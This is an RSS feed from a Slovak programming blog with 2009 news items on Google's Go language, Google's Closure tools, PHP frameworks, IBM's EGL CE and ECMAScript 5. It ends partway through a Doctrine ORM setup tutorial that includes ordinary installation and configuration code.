<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bloog.sk &#187; Programovanie / Grafika</title>
	<atom:link href="http://www.bloog.sk/category/programovanie/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bloog.sk</link>
	<description>recenzie a kvalitné informácie z digitálneho sveta</description>
	<lastBuildDate>Sun, 26 Jun 2011 20:30:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Google ide vpred s jazykom Go</title>
		<link>http://www.bloog.sk/2009/11/11/google-ide-vpred-s-jazykom-go/</link>
		<comments>http://www.bloog.sk/2009/11/11/google-ide-vpred-s-jazykom-go/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 18:03:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Go od Google]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=1028</guid>
		<description><![CDATA[Snahou Open source je spojenie rýchlosti dynamických jazykov a výkonnosti a bezpečnosti kompilovacích jazykov. Spoločnosť Google sa v utorok vyjadrila, že do sféry open source vstupuje s experimentálnym programovacím jazykom s názvom Go, ktorý sa snaží spojiť rýchlosť dynamického jazyka ako je Python a výkonnosť a bezpečnosť kompilovacích jazykov ako je C alebo C++. V [...]]]></description>
			<content:encoded><![CDATA[<p>Snahou Open source je spojenie rýchlosti dynamických jazykov a výkonnosti a bezpečnosti kompilovacích jazykov.</p>
<p>Spoločnosť Google sa v utorok vyjadrila, že do sféry open source vstupuje s experimentálnym programovacím jazykom s názvom Go, ktorý sa snaží spojiť rýchlosť dynamického jazyka ako je Python a výkonnosť a bezpečnosť kompilovacích jazykov ako je C alebo C++.</p>
<p>V experimentoch jazyk dokázal, že je schopný postaviť veľké binárky v priebehu niekoľkých sekúnd. Skompilovaný kód beží takmer rovnako rýchlo ako jazyk C.</p>
<p>&#8220;<em>Go je skvelý programovací jazyk pre systémy s podporou multi-processing, veľmi sa hodí pre objektovo-orientovaný návrh, plus ponúka také pochúťky ako <strong>true closures</strong> a reflekciu.</em>&#8221;</p>
<p>&#8220;<em>Chcete napísať server s tisíckami komunikačných vlákien? Chcete stráviť menej času čítaním blogov pri kompilácií? Máte chuť implementovať prototyp vásho najnovšieho nápadu? Jazyk Go je spôsob ako to dosiahnuť.</em>&#8221;</p>
<p>Web <a href="http://golang.org/" onclick="pageTracker._trackPageview('/outgoing/golang.org/?referer=');">Go Web page</a> opisuje jazyk ako expresívny, súbežný a s podporou garbage-kolektoru. Jazyk Go je ponúkaný pod licenciou BSD. </p>
<p>Podľa FAQ na webe Go bol jazyk vytvorený v reakcii na trend zrýchľovania výkonu počítačov, zatiaľ čo vývoj softvéru sa nezrýchľuje. Tiež ide o snahu vytvoriť protiklad k ťažkopádnym systémom, ako sú Java a C++, ktoré viedli k dynamicky písaným jazykom, ako sú Python a JavaScript.</p>
<p>Go bol tiež vyvinutý ako reakcia na viacjadrové počítače, ktoré priniesli starosti a zmätok. Predovšetkým bol však vytvorený pre účely programovania na serveroch spoločnosti Google, a realizácia nie je ešte dosť vyzretá na použitie vo veľkom meradle pre verejnosť. </p>
<p>Go poskytuje model, ktorý rieši závislosti jednoducho na rozdiel od C jazykov, ktoré sú plné súborov a knižníc.</p>
<p>&#8220;<em>Go je experiment. Dúfame, že sa nájde mnoho dobrodruhov, ktorí si ho vyskúšajú a zistia, či sa im to páči. Tým programátorom, ktorým nepadne hneď do oka chceme pripomenúť, že ho čaká ešte dlhý vývoj</em>.&#8221;</p>
<p>A na záver samozrejme nesmie chýbať Hello World! v jazyku Go <img src='http://www.bloog.sk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">package main
&nbsp;
import fmt <span style="color: #ff0000;">&quot;fmt&quot;</span>  <span style="color: #666666; font-style: italic;">// Package implementing formatted I/O.</span>
&nbsp;
func main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     fmt.<span style="color: #202020;">Printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello, world<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/11/11/google-ide-vpred-s-jazykom-go/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google uverejňuje niekoľko nástrojov pre JavaScript</title>
		<link>http://www.bloog.sk/2009/11/11/google-uverejnuje-niekolko-nastrojov-pre-javascript/</link>
		<comments>http://www.bloog.sk/2009/11/11/google-uverejnuje-niekolko-nastrojov-pre-javascript/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 16:12:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=1024</guid>
		<description><![CDATA[Google sa rozhodol uvoľniť ako open source niekoľko svojich kľúčových nástrojov pre vývoj aplikácií v nádeji, že urýchlia tvorbu webových aplikácií. Google používa tieto nástroje pri vývoji niektorých zo svojich najpopulárnejších webových aplikácií, napríklad Gmail, Google Docs a Google Maps, povedal Amit Agarwal, produktový manažér spoločnosti Google. &#8220;Tým, že umožníme vývojárom používať takmer tie isté [...]]]></description>
			<content:encoded><![CDATA[<p>Google sa rozhodol uvoľniť ako open source niekoľko svojich kľúčových nástrojov pre vývoj aplikácií v nádeji, že urýchlia tvorbu webových aplikácií.</p>
<p>Google používa tieto nástroje pri vývoji niektorých zo svojich najpopulárnejších webových aplikácií, napríklad Gmail, Google Docs a Google Maps, povedal Amit Agarwal, produktový manažér spoločnosti Google. </p>
<p>&#8220;<em>Tým, že umožníme vývojárom používať takmer tie isté nástroje, ktoré používame, umožníme programátorom nielen vytvárať bohaté aplikácie, ale aj naozaj rýchlo. Našim cieľom je poskytnúť tieto nástroje svetovej vývojárskej komunite.</em>&#8221;</p>
<p>Medzi spomínané nástroje patrí <strong>Closure Compiler</strong>, ktorý zjednodušuje, optimalizuje a konsoliduje JavaScript kód, aby bežal rýchlejšie a efektívnejšie, čím sa zvyšuje pravdepodobnosť, že aplikácie budú bežať rýchlo aj pre užívateľov s pomalejším pripojením. </p>
<p>Google taktiež uvolní <strong>Closure Library</strong>, knižnicu JavaScript, ktorá obsahuje sadu štandardných aplikačných služieb a komponentov, ktoré fungujú v rôznych prehliadačoch. </p>
<p>&#8220;<em>Tá služí ako štandardná JavaScript knižnica pre veľké webové aplikácie spoločnosti Google</em>&#8221; povedal Agarwal. &#8220;<em>Je veľmi rozsiahla, komplexná, dobre otestovaná, a veľmi modulárna.</em>&#8221; </p>
<p>Google okrem iného uverejní <strong>Closure Templates</strong>, ktorého cieľom je automatizovať dynamické vytváranie HTML. Tieto šablóny je možné použiť v JavaScriptu v klientskom počítači, alebo v jazyku Java na serveroch.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/11/11/google-uverejnuje-niekolko-nastrojov-pre-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP frameworky na konferencii Zend/PHP</title>
		<link>http://www.bloog.sk/2009/11/11/php-frameworky/</link>
		<comments>http://www.bloog.sk/2009/11/11/php-frameworky/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 09:48:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=1001</guid>
		<description><![CDATA[Zástupcovia Agavi, CakePHP, CodeIgniter, Symfony a Zend diskutovali o svojich technológiách na konferencii Zend/PHP. Agavi predstavil David Zulke, vedúci vývojár a generálny riaditeľ poradenskej firmy Bitextender, ktorá začínala s frameworkom Mojave: &#8220;Ponúka také funkcie ako validácia a manipulácia s fontami, nemá však riešenie pre generovanie dátového modelu pre aplikácie. Vývojári môžu vziať existujúce webové aplikácie [...]]]></description>
			<content:encoded><![CDATA[<p>Zástupcovia Agavi, CakePHP, CodeIgniter, Symfony a Zend diskutovali o svojich technológiách na konferencii Zend/PHP.</p>
<p>Agavi predstavil David Zulke, vedúci vývojár a generálny riaditeľ poradenskej firmy Bitextender, ktorá začínala s frameworkom Mojave: &#8220;<em>Ponúka také funkcie ako validácia a manipulácia s fontami, nemá však riešenie pre generovanie dátového modelu pre aplikácie. Vývojári môžu vziať existujúce webové aplikácie a umiestniť na ňu vrstvu REST alebo SOAP</em>&#8220;. Zulka ďalej zdôraznil význam štruktúry pre vývoj, povedal: &#8220;<em>Myslím, že je povinnosťou frameworku, aby ponúkol štruktúru pre projekty.</em>&#8221;</p>
<p>CakePHP môžu využívať ľudia s menšími vývojárskymi skúsenosťami, tvrdí Nate Ábela, vedúci autor projektu.</p>
<p>&#8220;<em>Ak by som mal povedať nejakú zvláštnosť o CakePHP, tak je to napríklad to, že sme uspeli práve preto, že je veľmi kontextovo-priateľský</em>&#8220;, povedal Ábela. &#8220;<em>Vždy sme hrdý na to, že môžeme prezentovať pojmy z vyšších programovacích jazykov veľmi prístupným spôsobom.</em>&#8221;</p>
<p>Zástupca CodeIgniter:</p>
<p>&#8220;<em>Podľa mňa CodeIgniter je niečo, s čím sa veľmi jednoducho pracuje</em>&#8220;, povedal Ed Finkler, webový vývojár a bezpečnostný výskumný pracovník na Purdue University. CodeIgniter poskytuje pekný základ, ktorý je možné ľahko nasadiť, a vďaka dynamickému načítavaniu je veľmi rýchly. CodeIgniter, však nemusí byť tou najlepšou voľbou pre vývoj rozsiahlych a zložitých aplikácií. Je vhodnejší pre malé a stredne veľké projekty.</p>
<p>Framework Symfony, ktorý vyvinula francúzska spoločnosť sa pýši svojimi bezpečnostnými funkciami, tvrdí Fabien Potencier, vedúci vývojár Symfony a generálny riaditeľ spoločnosti Sensio, ktorá sa zaoberá vývojom webových riešení a open source technológiami.</p>
<p>&#8220;<em>Ak máte radi francúzske jedlo, ak máte radi francúzske víno, myslím, že určite budete mat radi Symfony</em>,&#8221; povedal Potencier. &#8220;<em>Kladieme silný dôraz na bezpečnosť. Snažíme sa o čo najväčšiu bezpečnosť už v predvolenom nastavení</em>&#8220;, povedal s tým, že ochrana je ponúkaná proti problémom cross-site scripting.</p>
<p>&#8220;<em>Symfony sa používa k tvorbe najväčších webových portálov na svete, ako je napríklad Yahoo</em>&#8220;, uviedol Potencier.</p>
<p>Zend Framework sa líši od ostatných, pretože vývojári nemusia používať MVC, tvrdí Matthew Weier O&#8217;Phinney, vedúci projektu pre Zend Framework. &#8220;<em>Kladieme dôraz na Unit testing, a dokumentáciu kódu</em>&#8220;.</p>
<p>O&#8217;Phinney ďalej povedal: &#8220;<em>Zend Framework vstupuje do hry pri použití iných frameworkov. Myslíme si, že po Zende siahnu programátori hlavne vtedy, ak majú v pláne používať aj iné knižnice</em>&#8220;.</p>
<p>Zástupcovia tiež prezradili ako a či podporia PHP 5.3, ktoré pridáva funkcie ako menové priestory na zlepšenie organizácie kódu a pod..</p>
<p>Spoločnosť Zend Technologies, ktorá vyvíja Zend Framework, zahrnie podporu pre PHP 5.3 už v plánovanej verzii Zend Framework 2.0. Podľa Zend CEO Andi Gutmans by už mohla vyjsť na konci budúceho roka. </p>
<p>Kompletný prepis CakePHP do PHP 5.3 sa začal pred rokom. &#8220;<em>Použijeme všetky tieto spoločné menové konvencie a sme vlastne prví, kto ich ich implementuje</em>&#8220;, povedal Ábela. </p>
<p>Symfony 2.0 nebude podporovať PHP 5.3. &#8220;<em>Symfony používa veľa veľkých spoločností, a mnoho z nich si nemôže dovoliť vykonať upgrade na najnovšiu verziu PHP</em>&#8220;, tvrdí naopak Potencier.</p>
<p>&#8220;<em>Bude trvať ešte veľa času kým prejdeme na PHP 5.3</em>,&#8221; povedal Potencier. </p>
<p>Zulka ale nesúhlasil s prístupom Symfony. &#8220;<em>PHP 5.3 je v prvom rade veľký míľnik. Dáva skutočný prínos, a myslím, že miera prijatia bude oveľa vyššia, ako u 5.2 a 5.1.</em>&#8220;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/11/11/php-frameworky/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nástroj od IBM ktorý uľahčuje vývoj JavaScript</title>
		<link>http://www.bloog.sk/2009/11/10/nastroj-od-ibm-ktory-ulahcuje-vyvoj-javascript/</link>
		<comments>http://www.bloog.sk/2009/11/10/nastroj-od-ibm-ktory-ulahcuje-vyvoj-javascript/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 22:54:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=991</guid>
		<description><![CDATA[Technológia EGL založená na Eclipse ponúka vlastný modelovací jazyk, ktorý má pomôcť vývojárom vytvárať webové aplikácie pre web 2.0 V boji proti súperovi Microsoft a Adobe Systems, IBM ponúka bezplatný nástroj na zjednodušenie vývoja webových aplikácií založených na JavaScript, ktorý využíva modelovaní jazyk od IBM. EGL CE (Enterprise Generation jazyk Community Edition) od Big Blue, [...]]]></description>
			<content:encoded><![CDATA[<p>Technológia EGL založená na Eclipse ponúka vlastný modelovací jazyk, ktorý má pomôcť vývojárom vytvárať webové aplikácie pre web 2.0</p>
<p>V boji proti súperovi Microsoft a Adobe Systems, IBM ponúka bezplatný nástroj na zjednodušenie vývoja webových aplikácií založených na JavaScript, ktorý využíva modelovaní jazyk od IBM.</p>
<p>EGL CE (Enterprise Generation jazyk Community Edition) od Big Blue, vydaný v utorok, je nástroj založený na Eclipse, zameraný na budovanie Web 2.0 aplikácií. Využíva modelovací jazyk IBM EGL. Vývojári, ktorí programujú v PHP, Ruby on Rails, Groovy, JavaScript, HTML môžu využiť nástroj EGL na programovanie, testovanie a ladenie Web 2.0 aplikácií pomocou jedného jazyka.</p>
<p>Manažér produktového radu EGL spoločnosti IBM Will Smythe v prezentácii zverejnenej na webovej stránke EGL, tvrdí že EGL sa nesnaží nahradiť HTML alebo JavaScript, na rozdiel od technológií Adobe Flash/Flex a Microsoft Silverlight.</p>
<p>Smythe tiež povedal: &#8220;EGL je vyššia úroveň programovacieho jazyka určená pre rozvoj silných moderných aplikácií. Cieľom je ochrániť vývojárov od zložitosti, ktorá je spojená s aplikáciami Web 2.0.&#8221;</p>
<p>EGL CE je určená pre každého, kto chce vyvíjať RIA (Rich Internet Applications) rýchlo a efektívne. Vzhľadom k tomu, EGL syntax je jednoduchá pre ľudí a je možné ju integrovať do rôznych obchodných úrovní. Vývojári z rôznych oblastí (Java, PHP, Cobol, atď) zistia, že sú veľmi produktívni práve s EGL.</p>
<p>EGL CE umožňuje vyvíjať užívateľské rozhranie, založené na JavaScript, bez nutnosti písať JavaScript. Tiež sa hodí na tvorbu webových služieb, založených na jazyku Java, bez nutnosti písať kód v tomto jazyku. Vývojári môžu vytvárať zložité webové aplikácie bez nutnosti programovania v mnohých rôznych jazykoch a zlepovať jednotlivé kusy dohromady do konečného výrobku. Môžu tak tráviť menej času s nasadením a viac času programovaním.</p>
<p>EGL CE si môžete stiahnuť <a href="http://www-949.ibm.com/software/rational/cafe/community/egl/ce" onclick="pageTracker._trackPageview('/outgoing/www-949.ibm.com/software/rational/cafe/community/egl/ce?referer=');">kliknutím sem</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/11/10/nastroj-od-ibm-ktory-ulahcuje-vyvoj-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript nahradí Flash</title>
		<link>http://www.bloog.sk/2009/11/10/javascript-nahradi-flash/</link>
		<comments>http://www.bloog.sk/2009/11/10/javascript-nahradi-flash/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 22:04:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=980</guid>
		<description><![CDATA[JavaScript, v súčasnosti všadeprítomný skriptovací jazyk, populárny vo webovom vývoji klientskej časti, je stále rýchlejší a pravdepodobne sa bude používať namiesto technológie Adobe Flash. Brendan Eich, tvorca JavaScript, povedal pre magazín InfoWorld: &#8220;Poskytovatelia prehliadačov stále vyvíjajú rýchlejšie implementácie, takže JavaScript získava väčšiu rýchlosť, a vďaka tomu sa aj viac používa,&#8221; povedal Eich, keď sa opýtal, [...]]]></description>
			<content:encoded><![CDATA[<p>JavaScript, v súčasnosti všadeprítomný skriptovací jazyk, populárny vo webovom vývoji klientskej časti, je stále rýchlejší a pravdepodobne sa bude používať namiesto technológie Adobe Flash. Brendan Eich, tvorca JavaScript, povedal pre magazín InfoWorld: &#8220;<em>Poskytovatelia prehliadačov stále vyvíjajú rýchlejšie implementácie, takže JavaScript získava väčšiu rýchlosť, a vďaka tomu sa aj viac používa</em>,&#8221; povedal Eich, keď sa opýtal, čo vidí v budúcnosti jazyka JavaScript. &#8220;<em>V súčasnosti sa už používa pri vývoji 3D webových aplikácií.</em>&#8221;</p>
<p>&#8220;<em>Predpokladám, že stále viac sa budeme stretávať s jazykom JavaScript. Uvidíme, 3D hry, inovácie, ktoré si ani nedokážeme predstaviť. Všetky činnosti, ktoré je možné vykonávať vo Flashi bude možné urobiť aj v prehliadači pomocou JavaScript</em>&#8220;. Rozšíreniu týchto vylepšení jazyka JavaScript by pomohlo keby sa Microsoft rozhodol poskytovať podporu vo svojom prehliadači Internet Explorer.</p>
<p>Zmenilo sa aj vnímanie jazyka JavaScript, už to nieje brat jazyka Java, ktorý bol považovaný za skutočný programovací jazyk, Eich povedal. &#8220;<em>Ľudia možno nebudú súhlasiť, ale myslím si, že Java je už mŕtva na strane webového klienta (napr. applet), a JavaScript je všade</em>&#8220;.</p>
<p>Rozsiahle zmeny prinesie štandard ECMAScript 5, ktorý bude uverejnený budúci mesiac, povedal Eich. Štandard je v štádiu rokovaní s ECMA. Predtým nazývaná ECMAScript 3.1, verzia 5 bude zahŕňať funkcie, ako je meta-programovanie a tvrdnutie objektov (hardering objects). &#8220;<em>Budete si môcť vytvoriť objekty, s ktorými nebude možné manipulovať,&#8221; povedal Eich. &#8220;Tiež bude možné kontrolovať zmeny v objektoch</em>.&#8221;</p>
<p>Ukážka:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> obj <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
obj.<span style="color: #000066;">name</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;John&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span> obj.<span style="color: #000066;">name</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// John</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span> Object.<span style="color: #660066;">isExtensible</span><span style="color: #009900;">&#40;</span> obj <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// true</span>
Object.<span style="color: #660066;">preventExtensions</span><span style="color: #009900;">&#40;</span> obj <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
obj.<span style="color: #660066;">url</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;http://ejohn.org/&quot;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// Exception in strict mode</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span> Object.<span style="color: #660066;">isExtensible</span><span style="color: #009900;">&#40;</span> obj <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">// false</span></pre></div></div>

<p>Rokovania o upgrade na ECMAScript boli blokované v minulých rokoch z dôvodu technickej a politické nezhody, čo viedlo k ďalšej práci na ECMAScript 3.1 a rozvoju bojového plánu na zlepšenie štandardu, známeho ako Harmony.</p>
<p>Ďalšie vydanie ECMAScript založeného na Harmony sa očakáva o dva a pol roka. Eich povedal: &#8220;<em>V určitom okamihu, môžu Java scripty dosiahnuť stav, kedy už nebude potrebné vylepšovať. Ak urobíme svojú prácu, dostaneme sa do situácie, keď JavaScript nebude potrebné meniť.</em>&#8220;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/11/10/javascript-nahradi-flash/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Doctrine (ORM pre PHP)</title>
		<link>http://www.bloog.sk/2009/10/25/doctrine-orm-pre-php/</link>
		<comments>http://www.bloog.sk/2009/10/25/doctrine-orm-pre-php/#comments</comments>
		<pubDate>Sun, 25 Oct 2009 18:07:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=910</guid>
		<description><![CDATA[Doctrine (Doktrína) je objektovo relačný mapper (ORM) pre PHP 5.2.3+, ktorá je umiestnená na databázovej vrstve (DBAL). Jedným z jej hlavných funkcií je možnosť písať databázové dotazy pomocou vlastného objektovo orientovaného SQL dialektu tzv. Doctrine Query Language (DQL), inšpirovaný známym Hibernate HQL. To poskytuje vývojárom výkonnú alternatívu k SQL, ktorá udržiava pružnosť, bez nutnosti zbytočných [...]]]></description>
			<content:encoded><![CDATA[<p>Doctrine (Doktrína) je objektovo relačný mapper (ORM) pre PHP 5.2.3+, ktorá je umiestnená na databázovej vrstve (DBAL). Jedným z jej hlavných funkcií je možnosť písať databázové dotazy pomocou vlastného objektovo orientovaného SQL dialektu tzv. Doctrine Query Language (DQL), inšpirovaný známym Hibernate HQL. To poskytuje vývojárom výkonnú alternatívu k SQL, ktorá udržiava pružnosť, bez nutnosti zbytočných duplicít kódu.</p>
<h3>Čo je vlastne ORM?</h3>
<p>Objektovo relačné mapovanie (ORM) je technika používaná v programovacích jazykoch, ktorá rieši rôzne nekompatibilné typy dát v relačných databázach. To v podstate umožňuje, aby sme mali &#8220;virtuálnu objektovú databázu&#8221;, ktorá môže byť použitá z daného programovacieho jazyka. Existuje veľa voľných i komerčných balíkov, ktoré to ponúkajú a niektorí vývojári sa rozhodli si vytvoriť vlastné ORM.</p>
<h3>Inštalácia doktríny</h3>
<p>Inštalácia doktríny cez SVN je veľmi jednoduchá. V podstate nejde o inštaláciu ale o jednoduché stiahnutie. Stačí si teda stiahnuť akúkoľvek verziu doktríny z SVN servera: http://svn.doctrine-project.org </p>
<p>Ak chcete vyskúšať konkrétnu verziu, môžete použiť nasledujúci príkaz z terminálu:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">svn</span> <span style="color: #c20cb9; font-weight: bold;">co</span> http:<span style="color: #000000; font-weight: bold;">//</span>svn.doctrine-project.org<span style="color: #000000; font-weight: bold;">/</span>branches<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">1.2</span> .</pre></div></div>

<h3>Implementácia / inicializácia</h3>
<p>Najskôr je samozrejme nutné si v php doktrínu includnúť &#8211; nastaviť cesty pomocou funkcie <em>set_include_path()</em>. Includuje sa nadradený adresár adresáru Doctrine (mám na mysli adresár 1.2/lib/Doctrine/). Napríklad:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* V adresari $appFolder/library/ sa nachadza adresar Doctrine a subor Doctrine.php */</span>
<span style="color: #990000;">set_include_path</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">get_include_path</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #339933;">.</span>PATH_SEPARATOR <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$appFolder</span>/library/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>No a potom je potrebne doktrínu inicializovať. Predovšetkým je potrebné knižnici povedať kam sa budeme napájať. Napríklad:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$manager</span> <span style="color: #339933;">=</span> Doctrine_Manager<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$manager</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAttribute</span><span style="color: #009900;">&#40;</span>Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">ATTR_MODEL_LOADING</span><span style="color: #339933;">,</span> Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">MODEL_LOADING_CONSERVATIVE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$manager</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAttribute</span><span style="color: #009900;">&#40;</span>Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">ATTR_AUTO_FREE_QUERY_OBJECTS</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">/* tvorba pripojenia do db */</span>
<span style="color: #000088;">$connection</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$manager</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">connection</span><span style="color: #009900;">&#40;</span>
  <span style="color: #000088;">$config</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">databaze</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">stroj</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'://'</span>
  <span style="color: #339933;">.</span><span style="color: #000088;">$config</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">databaze</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">username</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">':'</span>
  <span style="color: #339933;">.</span><span style="color: #000088;">$config</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">databaze</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">password</span>  <span style="color: #339933;">.</span><span style="color: #0000ff;">'@'</span>
  <span style="color: #339933;">.</span><span style="color: #000088;">$config</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">databaze</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">host</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">'/'</span>
  <span style="color: #339933;">.</span><span style="color: #000088;">$config</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">databaze</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dbname</span><span style="color: #339933;">,</span>
  <span style="color: #0000ff;">'doctrine'</span>
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setCharset</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'utf8'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAttribute</span><span style="color: #009900;">&#40;</span>Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">ATTR_QUOTE_IDENTIFIER</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAttribute</span><span style="color: #009900;">&#40;</span>Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">ATTR_VALIDATE</span><span style="color: #339933;">,</span> Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">VALIDATE_ALL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAttribute</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'portability'</span><span style="color: #339933;">,</span> Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">PORTABILITY_ALL</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getDbh</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setAttribute</span><span style="color: #009900;">&#40;</span>PDO<span style="color: #339933;">::</span><span style="color: #004000;">MYSQL_ATTR_USE_BUFFERED_QUERY</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<h4>Vytvorenie modelov</h4>
